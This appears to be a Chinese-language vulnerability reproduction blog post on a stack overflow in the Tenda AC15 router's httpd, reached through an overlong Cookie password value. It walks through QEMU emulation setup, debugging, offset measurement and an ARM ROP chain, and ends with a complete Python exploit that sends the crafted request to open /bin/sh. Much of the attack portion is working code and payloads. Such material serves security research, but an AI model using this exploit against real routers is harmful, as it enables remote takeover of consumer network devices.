TENDA-AC15 型号路由器上的一个漏洞,产生原因是没有限制用户输入,使用 sscanf 直接将输入拷贝到栈上,导致栈溢出。
复现环境
漏洞固件在官网没找着,去百度找到了,地址在这里
版本号:V15.03.1.16
qemu v5.2
Ubuntu 18.04
ida 7.5

漏洞分析
需要配置好 qemu 桥接网络,不能就去 patch 一下 check_network 的返回值。
设置桥接网络
安装依赖:
1
| sudo apt-get install bridge-utils uml-utilities
|
修改 /etc/network/interfaces
网卡配置文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback
auto ens33 iface ens33 inet manual up ifconfig ens33 0.0.0.0 up
auto br0 iface br0 inet dhcp bridge_ports ens33 bridge_stp off bridge_maxwait 0
|
修改 qemu 网络脚本 /etc/qemu-ifup
为如下:
1 2 3 4 5 6 7
| #! /bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0" sudo /sbin/brctl addif br0 $1 sleep 3
|
给脚本加上权限,重启网络服务,如果连不上网可以重启一下:
1 2 3 4
| sudo chmod a+x /etc/qemu-ifup sudo /etc/init.d/networking restart sudo ifdown ens33 sudo ifup br0
|
运行程序还是报错,通过字符串定位到 ConnectCfm
函数,看不到函数体,应该是在其他文件定义的,这里也要 patch 改下跳转条件:

然后就能正常运行 httpd 服务(如果 check_network 检查是 patch 解决的,这里 ip 会有点诡异):

在 R7WebsSecurityHandler
开头打上断点,这个函数处理 /goform/execCommand
的请求:

用 burpsuite 给 /goform/execCommand
发个包,加上 Cookie 的 password 属性,长度弄长点:
1 2 3 4 5 6 7 8 9 10
| GET /goform/execCommand HTTP/1.1 Host: 192.168.211.7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cookie: password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" Cache-Control: max-age=0
|
当检索 password 属性后将值经过 sscanf 正则过滤后存放到 v34 的字符串列表局部变量:

继续运行就会报段错误退出:

用 gdb-multiarch 跟一下,查看一下地址信息。发现是在一个 if 判断中退出报错,而不是在 R7WebsSecurityHandler 退出,这样控制程序流有点复杂:

根据规则如果 URL 文件后缀不是 gif 才进入 if 函数体,那么就加一个 .gif
让程序流直接从 R7WebsSecurityHandler 返回,这样控制起来就简单多。
然后用 cycli 生成字符串测量长度,要注意加 1 再算 padding ,得出长度为 447 。成功控制返回地址:
1
| 'Cookie': password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"
|

ROP 利用链
arm 返回地址是在 pc 寄存器,不是在栈上。qemu 虚拟机没有随机化地址。
构造出 system('/bin/sh')
,/bin/sh
长度超过 4 字节,由于对齐要占据 8 字节空间,pop r0,pc
gadget 不能直接用了。
先用 pop r3,pc
将 system 放到 r3 ,同时压入 mov r0,sp;blx r3
,这时 sp 寄存器指向 /bin/sh ,将参数地址移动到 r0 ,然后跳转 r3 地址。

qemu 需要加上 -strace 查看调用:

EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import struct import requests
ip = "192.168.211.7" command = "/bin/sh\x00"
url = "http://{:s}/goform/exeCommand".format(ip) headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Accept-Encoding': 'gzip, deflate', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1', 'Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"', 'Cache-Control': 'max-age=0' }
libc = 0x3fde6000 pop_r3_pc = struct.pack("< I",0x00018298+libc) mov_r0_sp_blx_r3 = struct.pack("< I", 0x00040cb8 + libc) system = struct.pack("< I", 0x0005A270+libc) command = command.encode() password = b"A" * 444+b".gif"+pop_r3_pc+system+mov_r0_sp_blx_r3+command headers['Cookie']=b"password="+password
try: response = requests.get(url,headers=headers,timeout=1) except: pass
|
参考文章
https://www.freebuf.com/articles/wireless/166869.html
https://wzt.ac.cn/2019/03/19/CVE-2018-5767/